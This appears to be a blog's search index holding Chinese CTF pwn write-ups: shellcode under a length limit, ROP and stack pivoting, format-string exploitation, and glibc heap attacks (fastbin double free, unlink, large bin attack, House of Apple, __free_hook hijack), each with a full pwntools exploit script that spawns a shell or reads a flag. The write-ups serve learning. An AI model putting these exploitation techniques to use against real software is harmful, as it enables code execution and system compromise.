-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.json
More file actions
1 lines (1 loc) · 198 KB
/
search.json
File metadata and controls
1 lines (1 loc) · 198 KB
1
[{"title":"shellcode - 有长度限制的 shellcode 解法","url":"/categories/CTF/241103-shellcode/","content":"shellcode\n\nshellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16\n进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode\n常常使用机器语言编写。 \n\n程序分析\n题目来源:第七届浙江省大学生网络与信息安全竞赛预赛\n\n\nimage-20241103161301251\n\nchecksec\n\n\n保护全开\n\n逆向分析\n\n\nIDA 伪代码\n\n程序的功能很直接,执行输入的一段 shellcode,但是有\n0xa 的长度限制。\n并且存在 memmem 函数,检查输入的内容,使用 IDA 继续查看\nunk_203D 的内容,发现是出题人禁止了 syscall\n的机器码。\n\n\nsyscall('0f')\n\n动态调试\n\n在程序执行 shellcode 之后,观察寄存器和栈的情况。当时比赛时发现\nr8 中存有 syscall\n指令的地址,我的一个想法是控制寄存器 rax, rdi,\nrsi, rdx 执行系统调用 read。\nmov rsi,raxxor rax,raxxor rdi,rdiadd rdx,0x50call r8\n不过这样的长度已经超出 0xa 的限制了。后面我又想了很久,想继续利用\nr8 跳转到某个 main 函数上的指令,调试发现从\nr8 到一个 main\n函数的地址需要减去三位十六进制数,也就是说操作数占据了 shellcode 中 0x4\n的长度了。哎,结果我就这样忽视了 rsp 上的\n<main+0132>,一直到比赛结束。\n攻击流程\n这里的思路是白夜学长提供的。\n调整传参寄存器,控制程序流程\nELF 中的 read 函数参数如下\n\n栈中的数据如下\n\n\n由于程序中使用 call\nrax 执行 shellcode,返回地址存在栈顶\n\n第一段 shellcode\npop rdx; 返回地址出栈pop rdi; fdpop rsi; 将不需要的数据出栈pop rsi; *buf <- shellcode addresssud rdx,0x41; 减去偏移,结果为 <main+00f1>call rdx\n将程序跳转到 main 函数的 call _read 前:\n\n执行 shellcode\n没有了读入限制后,直接使用 pwntool 生成的 shellcode 即可。\nExploit\nfrom pwn import *context.log_level = \"debug\"context.arch = \"amd64\"p = process(\"./shellcode1\")#p = remote(\"139.155.126.78\", \"38681\")shellcode = \"\"\"pop rdx;pop rdi;pop rsi;pop rsi;sub rdx, 0x41;call rdx;\"\"\"gdb.attach(p)p.sendafter(b\"input\", asm(shellcode))shellcode = \"\"\"nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;\"\"\" #10个nop,因为下次执行的地址是在shellcode1的结尾(call rdx)shellcode += shellcraft.sh()p.send(asm(shellcode))p.interactive()\n小结\n这回的省赛属于是坐了四小时大牢了。每道题目或者是在现实实践中,自然是与之前遇到的情况会有不同。因此对程序动态运行中的各种状态应该敏锐一些,例如栈、寄存器,可能会有发现。\n","categories":["CTF"],"tags":["pwn","shellcode"]},{"title":"钱塘江边","url":"/categories/%E6%97%A5%E5%B8%B8/20241106-daily/","content":"\n一叶舟轻,双桨鸿惊。水天清、影湛波平。鱼翻藻鉴,鹭点烟汀。过沙溪急,霜溪冷,月溪明。\n重重似画,曲曲如屏。算当年,虚老严陵。君臣一梦,今古空名。但远山长,云山乱,晓山青。\n——《行香子・过七里濑》 \n\n\n\n摄于 2024/11/5 17:18 沿江大道\n","categories":["日常"]},{"title":"DASCTF12 月赛复现","url":"/categories/CTF/dasctf2025-12-wp/","content":"前言\n本次 DASCTF\n12 月赛尝试了 pwn 方向的两道题目,最终还是如愿以偿的爆零了。首先看到题目我就有种陌生的感觉,给定程序是去掉调试符号的,并且有多个函数,大大降低了可读性,和我先前遇见的题目有不小的区别。\n\nBaseMachine\nchecksec\n\n\n保护全开\n\n逆向分析\n\n\nmain\n\n读入 ./flag 后传入\nsub_3990,图中的乱码是表情,是 IDA 的编码问题。后面是循环读入用户输入,同样传入\nsub_3990。\n进入 sub_3990 继续分析:\n\n\nv9\n\n根据传入的参数 a1, a2\n决定程序后续流程,具体是编码类型 (base64, base85...)。\n有意思的是,程序将字符串的加解密流程放在在 _data\n,即数据段中。\nv10 = ((__int64 (__fastcall *)(char *, const char *))*(&off_7260 + v8))(s, a3);\n.data:0000000000007260 off_7260 dq offset sub_1D6A ; DATA XREF: sub_3990+155↑o.data:0000000000007260 ; sub_3990+1C8↑o.data:0000000000007268 dq offset sub_1ED6.data:0000000000007270 dq offset sub_22B2.data:0000000000007278 dq offset sub_27D4.data:0000000000007280 dq offset sub_2B94.data:0000000000007288 dq offset sub_2E17.data:0000000000007290 dq offset sub_3498.data:0000000000007290 _data ends.data:0000000000007290\n这涉及到 C 语言中函数指针的概念:\n函数指针是一个指向函数的指针变量,如:\nint (*p)(int x, int y);\n具有两个整型参数,返回值是整型。\n如下代码实现了通过函数指针调用函数:\nint maxValue (int a, int b) { return a > b ? a : b;}int (*p)(int, int) = NULL;p = maxValue;p(1, 2);\n而题目程序中就是通过类似这样的函数指针数组实现的。\n接着,根据与 unk_73C0 中的数据比较这一功能可以(应该?)推测是在计算哈希\n\n\nwp 中指出这是在计算 SHA256\n\n如果没有找到相同的,就使用新的槽位:\n\n\n选择最先或未使用的槽位,覆盖该槽位存储的数据\n\n存、读取哈希和密文部分:\n\n解密、输出部分:\n\n\n是否输出由传入参数 a4 决定\n\nVulnerabilities\n与 unk_73C0 读写有关的函数 sub_37A4\n中存在溢出漏洞\n\n\n数组只能储存 0-5\n\n\n\nunk_73c0 将编码类型和明文写入对应位置\n\n攻击流程\n以下为官方 wp 思路。\n寻找具有 'b85' 开头 SHA256 值的字符串,将 flag 槽位上的哈希修改为这个值。具体实现如下(来自官方 wp):\n#!/usr/bin/env python3from pwncli import *context.terminal = [\"tmux\", \"splitw\", \"-h\", \"-l\", \"122\"]local_flag = sys.argv[1] if len(sys.argv) == 2 else 0if local_flag == \"remote\": addr = '' host = addr.split(' ') gift.io = remote(host[0], host[1]) gift.remote = Trueelse: gift.io = process('./BaseMachine') if local_flag == \"nodbg\": gift.remote = Trueinit_x64_context(gift.io, gift)libc = load_libc()gift.elf = ELF('./BaseMachine')cmd = ''' c'''for i in range(3): sla(\"🫠🫠🫠\", 'plain b64 ' + str(i))launch_gdb(cmd)sla(\"🫠🫠🫠\", b'plain b85 ' + b'aaaa' * 10 + b'a')ru(\"😍😍😍 \")data = ru(b'\\n', drop=True)pad1 = data[0:5]pad2 = data[-5:]# Match found! String: 6eU, SHA-256: b8509ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888for i in range(1, 8): sla(\"🫠🫠🫠\", b'b85 plain ' + b'09ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888aaaa' + pad1 * i + pad2 + pad1 * (10 - i))sla(\"🫠🫠🫠\", b'plain b64 6eU')ru(\"😍😍😍 \")flag = ru(b'\\n', drop=True)sla(\"🫠🫠🫠\", b'b64 plain ' + flag)ia()\n总结\n这题的作者可见对编码非常熟悉,目前我还没有对 base 系列有一个太清晰的了解。最多知道它大概的原理,或者仿写加解密的代码之类的。以后有空我会尝试手搓一下各种 base 的加解密的(之前接触 base 是 hgame-mini\n2024 上的一道逆向题 ——base emoji)。另外对代码的阅读能力也有待提升。\n","categories":["CTF"],"tags":["pwn","代码审计","函数指针"]},{"title":"HGAME 2025 Week 1 Writeup","url":"/categories/CTF/hgame-2025-week1-wp/","content":"counting petals\nVulnerabilities\n\n存在越界写入漏洞。 \n\n存在任意读漏洞。\n\nExploit\n观察栈结构,构造数据使 v9=16 时令 v8,\nv9 为不合法的值,从而泄露栈上的 libc 地址。\n第二次循环时利用任意写,构造 ROP 链。\nfrom pwn import *context.log_level = \"debug\"p = remote(\"node2.hgame.vidar.club\",32442)libc = ELF(\"./libc.so.6\")e = ELF(\"./vuln\")pop_rdi_off = 0x2a3e5pop_rsi_off = 0x2be51pop_rdx_r12_off= 0x11f2e7p.sendlineafter(\"How many flowers have you prepared this time?\",\"16\")for i in range(15): p.sendlineafter(\"the flower number\",str(0))p.sendlineafter(\"the flower number\",str(0x1400000013))p.sendlineafter(\"latter:\",str(1))p.recvuntil(b\"+ 1 + \")number = p.recvuntil(b\" +\", drop=True)number = number.decode().strip()libc_address = int(number)log.info(hex(libc_address))libc_base = libc_address - 0x29D90log.info(hex(libc_base))sys_addr = libc_base + libc.sym[\"execve\"]binsh_addr = libc_base + next(libc.search(b\"/bin/sh\"))pop_rdi = libc_base + pop_rdi_offpop_rsi = libc_base + pop_rsi_offpop_rdx_r12 = libc_base + pop_rdx_r12_offp.sendlineafter(\"How many flowers have you prepared this time?\",\"16\")pause()for i in range(15): p.sendlineafter(\"the flower number\",str(0))p.sendlineafter(\"the flower number\",str(0x120000001a))p.sendlineafter(\"the flower number\",str(pop_rdi)) p.sendlineafter(\"the flower number\",str(binsh_addr))p.sendlineafter(\"the flower number\",str(pop_rsi))p.sendlineafter(\"the flower number\",str(0))p.sendlineafter(\"the flower number\",str(pop_rdx_r12))p.sendlineafter(\"the flower number\",str(0))p.sendlineafter(\"the flower number\",str(binsh_addr))p.sendlineafter(\"the flower number\",str(sys_addr)) p.sendlineafter(\"latter:\",str(1))p.interactive()\nezstack\n根据题目所给的 Dockerfile 获取远程环境相应的 libc:\ndocker build -t pwn:v1 .\n\n禁用 execve\nVulnerabilities\n\n存在栈溢出漏洞。\n\n可以修改 rbp 进行栈迁移。\n\n有大段的可写可读段。\nExploit\n栈迁移到恰当位置,令 fd=4\n泄露 libc 地址,并调整程序读入的长度,方便后续存放 ROP 链。\nfrom pwn import *context.log_level =\"debug\"p = remote(\"node1.hgame.vidar.club\",32351)e = ELF(\"./vuln\")libc = ELF(\"./libc-2.31.so\")write_plt = e.plt['write']write_got = e.got['write']writable_addr = 0x404154read_ret = 0x40140fpop_rdi = 0x401713pop_rsi_r15 = 0x401711leave_ret = 0x401425print(\"plt:\",hex(write_plt))print(\"got:\",hex(write_got))pause()payload = b'a' * 80 + p64(writable_addr) + p64(read_ret)p.sendafter(\"Good luck.\",payload)pause()payload = flat({ 0x00: [ p64(writable_addr), p64(pop_rdi), p64(0x4), p64(pop_rsi_r15), p64(write_got),p64(0), p64(write_plt), #write(4,<write@got>) p64(read_ret), p64(leave_ret), ], 0x50: [ p64(writable_addr-0x50), p64(leave_ret), ]})p.send(payload)write_address = u64(p.recvuntil('\\x00\\x00',drop=True)[-6:].ljust(8, b'\\x00'))libc_base = write_address - 0x10e280log.info(hex(libc_base))pop_rdx_r12 = libc_base + 0x119431pop_rsi = libc_base + 0x2601f_read= libc_base + libc.symbols[\"read\"]_open= libc_base + libc.symbols[\"open\"]_write= libc_base + libc.symbols[\"write\"]payload = flat({ 0x00: [ p64(0x404154+0xd0), p64(pop_rsi), p64(0x404154), p64(pop_rdx_r12), p64(0x200),p64(0), p64(_read),# read(4,buf,0x200) p64(leave_ret), p64(leave_ret), ], 0x50: [ p64(writable_addr-0x50), p64(leave_ret), ]})pause()p.send(payload)payload = flat({ 0x00: [ p64(0xc0ffee), p64(pop_rdi), p64(0x404154+0xe0), p64(pop_rsi), p64(0), p64(pop_rdx_r12), p64(0),p64(0), p64(_open), # open(./flag,0,0) p64(pop_rdi), p64(0x5), p64(pop_rsi), p64(0x404154+0xe0), p64(pop_rdx_r12), p64(0x100),p64(0), p64(_read), #read(5,buf,0x100) p64(pop_rdi), p64(0x4), p64(pop_rsi), p64(0x404154+0xe0), p64(pop_rdx_r12), p64(0x30),p64(0), p64(_write), #write(4,buf,0x20) ], 0xd0: [ p64(0x404154), p64(leave_ret), ], 0xe0: [ b'./flag\\x00', ]})pause()p.send(payload)p.interactive()\nformat\nVulnerabilities\n\n格式化字符串漏洞。\n\n\n整型判断,使用无符号整型传入。输入一个负数即可绕过输入长度的限制。\n\n可以栈迁移。\nExploit\n使用 %p 泄露栈的地址,在 vuln\n函数的栈帧内写入更长的格式化字符串,然后控制 rbp\n到合适位置,溢出覆盖返回地址为格式化漏洞处,泄露 libc 地址,再次进入\nvuln 构造 ROP 链。\nfrom pwn import *context.log_level =\"debug\"p = remote(\"node1.hgame.vidar.club\",30762)e = ELF(\"./vuln\")libc = ELF(\"./libc.so.6\")leave_ret = 0x4011eemain = 0x4011f0p.sendlineafter(\"you have n chance to getshell\",str(1))p.sendlineafter(\"type something:\",\"%p\")p.recvuntil(b\"you type: 0x\")stack_addr = p.recvuntil(b\"you have\", drop=True)stack_addr = int(stack_addr,16)log.info(hex(stack_addr))rbp = stack_addr + 0x211cp.sendafter(\"n = \",\"-1\\x00\")pause()payload = flat({ 0x00: [ b'%9$p', p64(rbp), p64(0x4012cf), ]})p.sendafter(\"type something:\",payload)p.recvuntil(b\"0x\",drop=True)libc_addr = p.recv(12)libc_addr = int(libc_addr,16)libc_base = libc_addr - 0x29d90log.info(hex(libc_base))binsh_addr = libc_base + next(libc.search(b\"/bin/sh\"))sys_addr = libc_base + libc.sym[\"system\"]pop_rdi = libc_base + 0x2a3e5payload = flat({ 0x0c: [ p64(0x40101a), p64(pop_rdi), p64(binsh_addr), p64(sys_addr) ]})p.sendafter(\"type something:\",payload)p.interactive()\nCompress dot new\n题目给出 Nushell 编写的 Huffman 编码,解码代码如下\ndef \"decode\" [tree encoded] { let bits = ($encoded | split chars) mut result = [] mut current_node = $tree for bit in $bits { $current_node = if $bit == '0' { $current_node.a } else { $current_node.b } if 's' in $current_node { $result ++= [$current_node.s] $current_node = $tree } } if 's' in $current_node { $result ++= [$current_node.s] } $result | each { into binary } | bytes collect}def \"decompress\" [] { let input = (open ./enc.txt --raw | split row \"\\n\") let tree = $input.0 | from json let encoded_str = $input.1 decode $tree $encoded_str}decompress | save ./flag.txt --force\n部分内容参考 DeepSeek R1 生成\nTurtle\n\nDIE 检测存在 upx 壳,使用 x64dbg 定位程序入口点后 dump 脱壳。\n程序使用两次 RC4\n加密,依该加密算法的对称性质,第一次加密函数处传入密文得到 key。\n第二次加密函数处将 -= patch 为\n+=,传入密文得到 flag。\n\n","categories":["CTF"],"tags":["pwn","re","hgame"]},{"title":"HGAME 2025 Week 2 Writeup","url":"/categories/CTF/hgame-2025-week2-wp/","content":"Signin2Heap\nVulnerabilities\n\n存在 off-by-null 漏洞,当 prev_size 域复用时,可置零相邻\nchunk 的 prev_inuse 位。\n\n\n只能申请至多 0xFF 大小的堆块,考虑 fastbin attack。\nExploit\n由于程序没有编辑功能,只能使用 add 功能修改堆数据。布置大小分别为\n0xf0, 0x68, 0xf0\n的三个堆块,然后将 0xf0 大小的 tcache bin\n填满。此时释放 chunk 0,将进入 unsorted bin\n。为了泄露出 libc 有关地址,我们需要利用 show 功能输出 freed chunk\n上的指针 (即 fd )。通过如下操作可以实现类似 UAF 的效果:\n\n修改 chunk 2 的 prev_size 和 prev_inuse\n;\n释放 chunk 2,引起向后合并,此时堆管理器认为 chunk 0 ~ chunk 2\n都已经为空闲状态,放入 unsorted bin ;\n先清空优先级更高的 tcache bin ,然后申请 chunk 0\n大小的堆,从 unsorted bin 中取,此时 fd 移动到 chunk 0\n的后面。\n\n经过以上操作后,chunk 1 的位置恰好是 unsorted bin\n的头部。但同时程序逻辑上 chunk 1 并没有被释放,引起了 UAF,double\nfree。\n再次填满 tcache bin ,利用 fastbin double free\n可实现任意写。\nfrom pwn import *context.log_level =\"debug\"p = remote(\"node1.hgame.vidar.club\",32253)e = ELF(\"./vuln\")libc = ELF(\"./libc-2.27.so\")def add(index,size,content): p.sendafter(\"Your choice:\",b\"\\x01\\x00\") p.sendlineafter(\"Index:\",str(index)) p.sendlineafter(\"Size: \",str(size)) p.sendafter(\"Content: \",content)def show(index): p.sendafter(\"Your choice:\",b\"\\x03\\x00\") p.sendlineafter(\"Index:\",str(index))def dele(index): p.sendafter(\"Your choice:\",b\"\\x02\\x00\") p.sendlineafter(\"Index:\",str(index))add(0,0xf0,'a')add(1,0x68,'a')add(2,0xf0,'b')for i in range(3,10): add(i,0xf0,'a')for i in range(3,10): #fill tcache dele(i)dele(0)dele(1)add(1,0x68,b'a'*0x60+p64(0x170))dele(2)for i in range(3,10): add(i,0xf0,'a')add(0,0xf0,'a')show(1)main_arena = u64(p.recvuntil('\\x0a\\x31',drop=True)[-6:].ljust(8, b'\\x00'))libc_base = main_arena - 0x3ebca0log.info(hex(libc_base))free_hook = libc_base + libc.symbols['__free_hook']one_gadget = libc_base + 0x4f302add(11,0x30,'a')add(12,0x30,'a')for i in range(3,10): dele(i)for i in range(3,10): add(i,0x30,'a')for i in range(3,10): #fill tcache dele(i)dele(11)dele(12) #a padding chunkdele(1) #fastbin double freefor i in range(3,10): add(i,0x30,'a') #clear tcacheadd(1,0x30,p64(free_hook))add(12,0x30,'qaq')add(11,0x30,'qaq') #clear padding chunkadd(13,0x30,p64(one_gadget)) #a chunk at <__free_hook>dele(0)p.interactive()\nWhere is the vulnerability\n\n第一次打这么高版本的\nlibc(原谅我当时脑抽看成 2.29,一堆老漏洞用了半天发现不行 hhh)\n\n禁用 execve\nVulnerabilities\n\n明显的 UAF 漏洞。\n\n只能申请 0x500 ~ 0x900 大小的堆,考虑 large bin\nattack。\nExploit\n堆块大小限制导致我们只能使用 unsorted bin 和\nlarge bin,即使通过 UAF 漏洞可以修改堆上的\nsize 从而使其进入 tcache bin\n,但是不能重新申请进行利用。\n显而易见的,可以利用 unsorted bin 的特性快速得到 libc\n基址。\n同时,布置后续的堆块,以进行 large bin attack。\nlarge bin attack 的操作简要描述如下,当然在 how2heap\n中有更好更详细的描述:\n\n申请两个\nchunk,且大小不相同,并在其之后都申请任意大小的堆块,防止释放后合并;\n释放 chunk 0;\n申请一个大于 chunk 0 大小的堆,chunk 0 将进入\nlarge bin;\n释放 chunk 2;\n修改 chunk 0 的 bk_nextsize 为\ntarget - 0x20{sizeof(prev_size + fd + bk + fd_nextsize)}\n。\n重复第三步,chunk 2 将进入 large bin ,由于 chunk 2\n更小,导致操作\nbk_nextsize->fd_nextsize = &chunk2。\n\n此时就在目标位置写入了 chunk 2 的 prev_size 地址。\n通过一种叫做 House of apple\n的方式,就可以攻击 IO,劫持程序执行流。\n在泄露出 libc 地址后,进而得到 IO_list_all 的地址,利用\nlarge bin attack 将 chunk 地址写入,之后在 chunk 2 上伪造 FILE\n结构体。\n原理部分请自行查找(毕竟我还没完全弄明白)。我们主要关注伪造 IO 的最后一行,它可以让我们跳转到一个地址,即控制一次\n$RIP 。我们的目的是找到一个\ngadget,帮助我们实现栈迁移,执行 ROP 链。\n可以利用的 gadget 如下:\n\n\ngadget 1\n\n动态调试可以发现 $rax 指向 fake_io\n有关地址,因此可以改变 $rdx 的值。\n将 $rdx 改为一处可读写段,执行下一段 gadget:\n\n\ngadget 2.1\n\n\n\ngadget 2.2\n\n修改 $rsp 实现栈迁移,注意在后面会将\n$rcx=[rdx+0xa8]\n入栈,改为一个对后续无影响的可执行地址即可,或者 ROP 的第一个地址。\n最后进入 exit() 触发相关调用链,执行\norw(如此有仪式感的操作自然是手动完成)。\nfrom pwn import *context.log_level =\"debug\"p = remote(\"node1.hgame.vidar.club\",31067)e = ELF(\"./vuln\")libc = ELF(\"./libc.so.6\")def add(index,size): p.sendlineafter(\"5. Exit\",b\"1\") p.sendlineafter(\"Index:\",str(index)) p.sendlineafter(\"Size: \",str(size))def show(index): p.sendlineafter(\"5. Exit\",b\"4\") p.sendlineafter(\"Index:\",str(index))def dele(index): p.sendlineafter(\"5. Exit\",b\"2\") p.sendlineafter(\"Index:\",str(index))def edit(index,content): p.sendlineafter(\"5. Exit\",b\"3\") p.sendlineafter(\"Index:\",str(index)) p.sendafter(\"Content: \",content) add(0,0x528)add(1,0x508) #prevent consolidatingadd(2,0x518)add(3,0x721)dele(0)show(0)main_arena = u64(p.recvuntil('\\x0a\\x31',drop=True)[-6:].ljust(8, b'\\x00'))libc_base = main_arena - 0x203b20IO_list_all=libc_base+libc.symbols['_IO_list_all']_IO_stdfile_2_lock=libc_base+0x205700_open=libc_base+libc.sym['open']_read=libc_base+libc.sym['read']_write=libc_base+libc.sym['write']pop_rdi = libc_base + 0x10f75bpop_rsi = libc_base + 0x110a4dpop_rdx = libc_base + 0x66b9a #pop rdx ; ret 0x19gadget = libc_base + 0x176f0esetcontext = libc_base + 0x4a98dret = libc_base + 0x2882flog.info(hex(libc_base))add(4,0x558)dele(2)show(0)chunk_fd = u64(p.recvuntil('\\x0a\\x31',drop=True)[-6:].ljust(8, b'\\x00'))edit(0,b'a'*16)show(0)fd_nextsize = u64(p.recvuntil('\\x0a\\x31',drop=True)[-6:].ljust(8, b'\\x00'))heap_base = fd_nextsize + 0x10log.info(hex(heap_base))edit(0,p64(chunk_fd)*2+p64(fd_nextsize)+p64(IO_list_all-0x20))add(5,0x558) #large bin attack: write chunk address at targetorw_addr = heap_base + 0x1bf0file_addr = heap_base + 0xa30IO_wide_data_addr=file_addrwide_vtable_addr=file_addr+0xe8-0x68fake_io = b\"\"fake_io += p64(0) # _IO_read_endfake_io += p64(0) # _IO_read_basefake_io += p64(0) # _IO_write_basefake_io += p64(1) # _IO_write_ptrfake_io += p64(0) # _IO_write_endfake_io += p64(0) # _IO_buf_base;fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)fake_io += p64(0) # _IO_save_basefake_io += p64(0)*3 # from _IO_backup_base to _markersfake_io += p64(0) # the FILE chain ptrfake_io += p32(2) # _fileno for stderr is 2fake_io += p32(0) # _flags2, usually 0fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1fake_io += p16(0) # _cur_columnfake_io += b\"\\x00\" # _vtable_offsetfake_io += b\"\\n\" # _shortbuf[1]fake_io += p32(0) # paddingfake_io += p64(_IO_stdfile_2_lock) # _IO_stdfile_1_lockfake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1fake_io += p64(0) # _codecvt, usually 0fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1fake_io += p64(0) * 2 # from _freeres_list to __pad5fake_io += p64(orw_addr+0x100) #rdx value(__pad5)fake_io += p32(0xFFFFFFFF) # _mode, usually -1fake_io += b\"\\x00\" * 19 # _unused2fake_io = fake_io.ljust(0xc8, b'\\x00') # adjust to vtablefake_io += p64(libc_base+libc.sym['_IO_wfile_jumps']) # fake vtablefake_io += p64(wide_vtable_addr)fake_io += p64(gadget) #set rdxedit(2,fake_io)orw_payload = flat({ 0x00: [ p64(pop_rdi), p64(orw_addr+0x128), p64(pop_rsi), p64(0), p64(pop_rdx), p64(0), p64(_open), # open(./flag,0,0) b'a'*0x19, # padding p64(pop_rdi), p64(3), p64(pop_rsi), p64(orw_addr+0x200), p64(pop_rdx), p64(0x30), p64(_read), # read(3,buf,0x30) b'a'*0x19, p64(pop_rdi), p64(1), p64(pop_rsi), p64(orw_addr+0x200), p64(pop_rdx), p64(0x30), p64(_write), # write(1,buf,0x30) b'a'*0x19, ], 0x120: [ p64(setcontext), b'./flag\\x00\\x00', ], 0x1a0: [ p64(orw_addr), #rsp value p64(ret), ]})edit(5,orw_payload)edit(1,b'a'*0x500+b' sh;') #reserved for debug, [$rdi]p.interactive()\nHit list\n很遗憾本题没有解出,因为前面较少接触的堆题耗费了我挺多心力的,到这已经没什么精力去做了。不过收获很多,是大于遗憾的。\n明年见!\n平台很好看,出题人很热心,题目很难(\nhgame{see_you_next_year!!!}\n","categories":["CTF"],"tags":["pwn","hgame"]},{"title":"Heap1sEz - 堆漏洞的简单利用","url":"/categories/CTF/heap1sEz/","content":"堆的内部结构\n\n在程序的执行过程中,我们称由 malloc 申请的内存为 chunk\n。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。\n\n\n/* This struct declaration is misleading (but accurate and necessary). It declares a \"view\" into memory allowing access to necessary fields at known offsets from a given base. See explanation below.*/struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize;};\n关于堆的结构很重要的一点在于,其使用和 free\n状态下的结构一致,只是相应功能有区别。例如使用时 fd\n段用于存储数据,可以通过某些方法把不合法的数据写入一个 free chunk 的 fd\n中。\n程序分析\nchecksec\n\n程序开启了 PIE 保护\n程序运行\n\n源码分析\n程序主要由 gift , add , edit ,\nshow , delete 几个函数构成。其中\ngift 函数直接让我们可以进行 __free_hook\n劫持。\nvoid gift(){ printf(\"give me a hook\\n\"); if (scanf(\"%p\", &hook) <= 0) _exit(1);}\n因此考虑通过 __free_hook 劫持执行\nsystem('/bin/sh') 得到 shell。\n在 delete\n函数中给定内存块被释放,但是对应的指针没有被设置为 NULL,存在 Use After\nFree 漏洞。\nvoid delete() { unsigned int index; printf(\"Index: \"); scanf(\"%u\", &index); if (index >= 16) { printf(\"There are only 16 pages in this notebook.\\n\"); return; } if (notes[index] == NULL) { printf(\"Page not found.\\n\"); return; } free(notes[index]); //没有置空 return;}\n攻击流程\n泄露程序基址\n由于程序打开了\nPIE,导致程序运行时加载基址不确定。但是由于程序中的偏移仍然不变,我们首先需要泄露程序中\n.text , .data 或者 .bss 中的地址来计算程序基址。这里选择\nmain_arena 进行泄露,因为通过 Unsorted Bin\n的机制会很容易得到。\n申请两个大小为 8 的 chunk,分别为 1、2, 然后释放后放入 Unsorted\nBin。这里 chunk1 的 fd 就会指向某个与 main_arena\n有关的地址。经过动态调试得知, 它指向\n&main_arena - 0x08。\n不过目前我还不明白,为什么只有一个 chunk\n的时候无法泄露出地址,可能是只有一个 chunk 的时候只需要在\nmain_arena.bins 中存储相关指针即可。\n泄露 libc 基址\n得到程序基址后,为了得到 system 函数的地址,还需要获得\nlibc 基址。而程序中唯一可利用的输出函数位于 show 函数中\nvoid show() { unsigned int index; printf(\"Index: \"); scanf(\"%u\", &index); if (index >= 16) { printf(\"There are only 16 pages in this notebook.\\n\"); return; } if (notes[index] == NULL) { printf(\"Page not found.\\n\"); return; } puts(notes[index]); //可以利用 return;}\n我们需要尝试将 notes[index] 修改为一个 got\n表中的值,例如 read@got[plt] 。\n利用 unlink 实现任意地址读写\nunlink_chunk (mchunkptr p){ if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (\"corrupted size vs. prev_size\"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; //if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) //malloc_printerr (\"corrupted double-linked list\"); fd->bk = bk; bk->fd = fd;}\n\n\nFD=P->fd = target addr - 0x18\nBK=P->bk = expect value\nFD->bk = BK,即 *(target addr- 0x18+ 0x18)=BK=expect value\nBK->fd = FD,即 *(expect value +0x10) = FD = target addr-\n0x18\n\n\n在 64 位程序里,chunk 每个字段占 8 个字节。\n由于程序中存在 UAF 漏洞,只需要申请两个\nchunk,大小为 16(或者更大)。删除 chunk1 后编辑\nchunk1 覆盖 fd, bk 的值,随后删除 chunk2。此时会发生前向合并,执行\nunlink 相关代码。\n不过这里在测试时发生了段错误,如下图:\n\n后来发现是因为 got 表中\n<read@got[plt]+0x10> 的值被修改了,而这个位置恰好存储\n__printf_chk\n函数的地址,导致程序意外跳转到了一个不可执行的位置。所以尝试泄露其他 libc 函数的地址,并且在它后 0x10 处的函数不会在后面的攻击过程中执行。\n\n\n.got\n\n执行 system('/bin/sh')\n传参\n观察 __free_hook 相关的代码,可以发现\nvoid delete() { //... free(notes[index]); return;}void free(void *mem){ mchunkptr p; /* chunk corresponding to mem */ INTERNAL_SIZE_T size; /* its size */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem); return; } //...\n只需要将 mem 对应的位置修改为 '/bin/sh'\n即可,而使用程序中自带的 edit 功能就能实现。\n__free_hook 劫持\n这题直接提供了后门函数 gift 用于修改\n&hook 上的值。\nexp\nfrom pwn import *context.log_level = \"debug\"context.arch = \"amd64\" libc = ELF(\"./libc.so.6\")p = process(\"./vuln\")#p = remote(\"182.202.178.28\",31639)#gdb.attach(p)def add(index,size): p.sendline(b\"1\") p.sendlineafter(\"Index:\",str(index)) p.sendlineafter(\"Size: \",str(size))def dele(index): p.sendline(b\"2\") p.sendlineafter(\"Index:\",str(index))def edit(index,content): p.sendline(b\"3\") p.sendlineafter(\"Index:\",str(index)) p.sendlineafter(\"Content: \",content)def show(index): p.sendline(b\"4\") p.sendlineafter(\"Index:\",str(index))add(2,8)add(3,8)dele(2)dele(3)show(2)bss_addr = u64(p.recvuntil('\\x0a\\x77\\x65',drop=True)[-6:].ljust(8, b'\\x00'))elfbase = bss_addr + 0x8 - 0x3810print(\"bss:\",hex(bss_addr))note = elfbase + 0x3880puts = elfbase + 0x3768add(0,16)add(1,16)dele(0)edit(0,p64(note-0x18)+p64(puts))dele(1)show(0)puts_addr = u64(p.recvuntil('\\x0a\\x77\\x65',drop=True)[-6:].ljust(8, b'\\x00'))libc_base = puts_addr - libc.sym[\"puts\"]sys_addr = libc_base + libc.sym[\"system\"]add(6,8)edit(6,b\"/bin/sh\")p.sendline(b\"6\")p.sendlineafter(b\"give me a hook\\n\",hex(sys_addr))dele(6)p.interactive()\n","categories":["CTF"],"tags":["pwn","heap","unlink","UAF"]},{"title":"羊城杯 hello_iot 复现","url":"/categories/CTF/ycb2025/","content":"2025 年十月羊城杯 hello_iot\n\nVulnerabilities\n\n\nchecksec\n\n题目基于 Libmicrohttpd 在 9999 端口提供一个 http 服务,\n分析程序逻辑可得知有如下功能: login, work,\nlog. 